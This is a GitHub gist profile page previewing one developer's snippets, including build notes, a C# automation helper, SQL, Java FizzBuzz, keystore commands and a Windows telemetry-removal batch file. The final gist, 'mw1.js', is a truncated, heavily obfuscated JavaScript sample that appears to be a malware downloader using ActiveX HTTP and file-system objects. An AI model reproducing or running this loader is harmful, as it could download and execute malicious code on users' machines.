Skip to content

Instantly share code, notes, and snippets.

Dexter M Haslem DexterHaslem

View GitHub Profile
View warsow_build_notes.md

after deleting everyhting and trying again i got it to work.. its worth noting, libs were automatically picked up for me. I think where you got in trouble was pointing libs at a directly instead of the static .lib file cmake was wanting, alas here is what i did.

I have vs2015, 2017, 2019 and mingw installed. when building I opened solutions in 2019 and built with 2015 tools

prerequisites

  1. if you already installed cmake for windows, uninstall it
  2. install the LATEST CMake 3.14.5 (ya really), but not the RC from here, add to path when asked

if you want to build with mingw:

@DexterHaslem
DexterHaslem / gist:3249480
Created Aug 3, 2012
AutomationElement pinvoke right click
View gist:3249480
// add references WindowsBase, UIAutomationClient, UIAutomationTypes
// using System.Windows.Automation;
// using System.Windows;
[DllImport("user32.dll", CharSet = CharSet.Auto)] static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
public void RightClick(AutomationElement element)
{
const int WM_LBUTTONDOWN = 0x0201;
const int WM_LBUTTONUP = 0x0202;
Point point = element.GetClickablePoint();
View keybase.md

Keybase proof

I hereby claim:

  • I am DexterHaslem on github.
  • I am dmh (https://keybase.io/dmh) on keybase.
  • I have a public key whose fingerprint is E78D E5BF 7318 DF73 8574 E3FF 4798 FF68 396E F1D0

To claim this, I am signing this object:

View life.sql
CREATE SCHEMA IF NOT EXISTS life;
SET search_path = life;
CREATE TABLE IF NOT EXISTS life.state (
generation SERIAL PRIMARY KEY NOT NULL,
--size INT NOT NULL CHECK (size >= 3),
state BOOL []
);
CREATE OR REPLACE FUNCTION life.neighbor_alive_count(u BOOL [], x INT, y INT)
View gs_weapondefs.c
/*
Copyright (C) 1997-2001 Id Software, Inc.
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
@DexterHaslem
DexterHaslem / fb.java
Last active Dec 1, 2017
java fizzbuzz
View fb.java
import java.util.stream.IntStream;
public class Main {
public static void main(String[] args) {
IntStream.range(1, 101).forEach(i -> System.out.println(String.format("%d %s%s", i, i % 3 == 0 ? "Fizz" : "", i % 5 == 0 ? "Buzz" : "")));
}
}
@DexterHaslem
DexterHaslem / gist:bfcdec8cd258930a04fdaf72088ce5e9
Created Sep 15, 2017
how to create a working java keystore from godaddy bundled files
View gist:bfcdec8cd258930a04fdaf72088ce5e9
keytool -genkey -alias tomcat -keyalg RSA -keysize 2048 -keystore keystore.jks
keytool -importkeystore -srckeystore keystore.jks -destkeystore keystore.p12 -deststoretype PKCS12
openssl pkcs12 -in keystore.p12 -out tomcatkey.pem -nodes
cat domain.crt gd_bundle-g2-g1.crt > combinedcerts
openssl pkcs12 -export -chain -CAfile gd_bundle-g2-g1.crt -in combinedcerts -inkey tomcatkey.pem -out tomcat.keystore -name tomcat -passout pass:myPassword
# then create connector like so
<Connector port="8443" protocol="org.apache.coyote.http11.Http11NioProtocol"
maxThreads="100"
View gist:e6e8b9342a38148997b3efee8042e40e
### Keybase proof
I hereby claim:
* I am dexterhaslem on github.
* I am dmh (https://keybase.io/dmh) on keybase.
* I have a public key ASB399sFYX3-goCqsUSsA2p1nwt5QWsFSIDNJpFCMzz8jQo
To claim this, I am signing this object:
View remove_w8_telemetry.bat
@echo off
rem removes all windows 8.1 telemetry updates
rem it's recommended to hide them in windows update so you don't reinstall them
wusa /uninstall /kb:3065988 /quiet /norestart
wusa /uninstall /kb:3083325 /quiet /norestart
wusa /uninstall /kb:3083324 /quiet /norestart
wusa /uninstall /kb:2976978 /quiet /norestart
wusa /uninstall /kb:3075853 /quiet /norestart
wusa /uninstall /kb:3065987 /quiet /norestart
View mw1.js
//https://fiphimediacenter.org/4293168149048/9b72cd3746f89eaa2c725b1044d2bb4b/27a80e815cca5f1d478cf56212236b72.html
var params="9456e3ff8ea0346ace7d50ead2df06d3";var dau='vddaflrkg mpaojpgz=nn"mbefivjwasrlmp"bf;vxvnlapwrhq xusksgckzkzhniykyggzrwqqhpvfoktt=rg\'spdle uirctomsvcnamo=xnllzryh"xrmhuujeiymhsdpspmtlftdiwocgwajiixjewvevudbi.atrozedhotynbctrmaxt;wk"zr=otrbfgpxAtz tlwuocivnuuebwXvyeauvgwOpstdeiwmtfcchkeih(gwbibjqaMwcXxySvqLpy"tqMmqLiaMecXomHob2mu.bw)tu"wiPic;emTkeTvcwagewknbu ujbmk=wzvabivlthmehwAebcddepnjribkacgmXxlOfdcnzSkz"yarbgtsz(mwnsaibttwxgkeimmpncepwlhuixnSmn.mlFmwmdlekntjvOvwyqcsawtbmczkenn"kmbgcjpsyferqctys{dc)pc;xockzSbtWqbrnccnr=fnSza.cqtjfcksiupphaFcttvlpzruqtrmkilsmudauzNmheialrllrkbda(qbfbx.rx;jeivmEfiesmlfsxveFdzihq(rqsbptaicjtivesbzDxx.bsbfgepw)jk)ciFmoeoytopifwlmfenh)bmcqx(xw;tslluebucrrtcqaybhpf}dkcae}ar{xg)omfzk(ipemqajfvaf(avrmborrrso;up1ai=nxipb hniamixw;la5qf+ky<da=vkrmetwi{xdyto+xr)oupvkoye.qdezz{znaslEkqGqd"onTrmnua(enhcs"jy satly"co,sk/js:gssei/yytcopbpmbrostdhwuow"vk+ly/wn"c
You can’t perform that action at this time.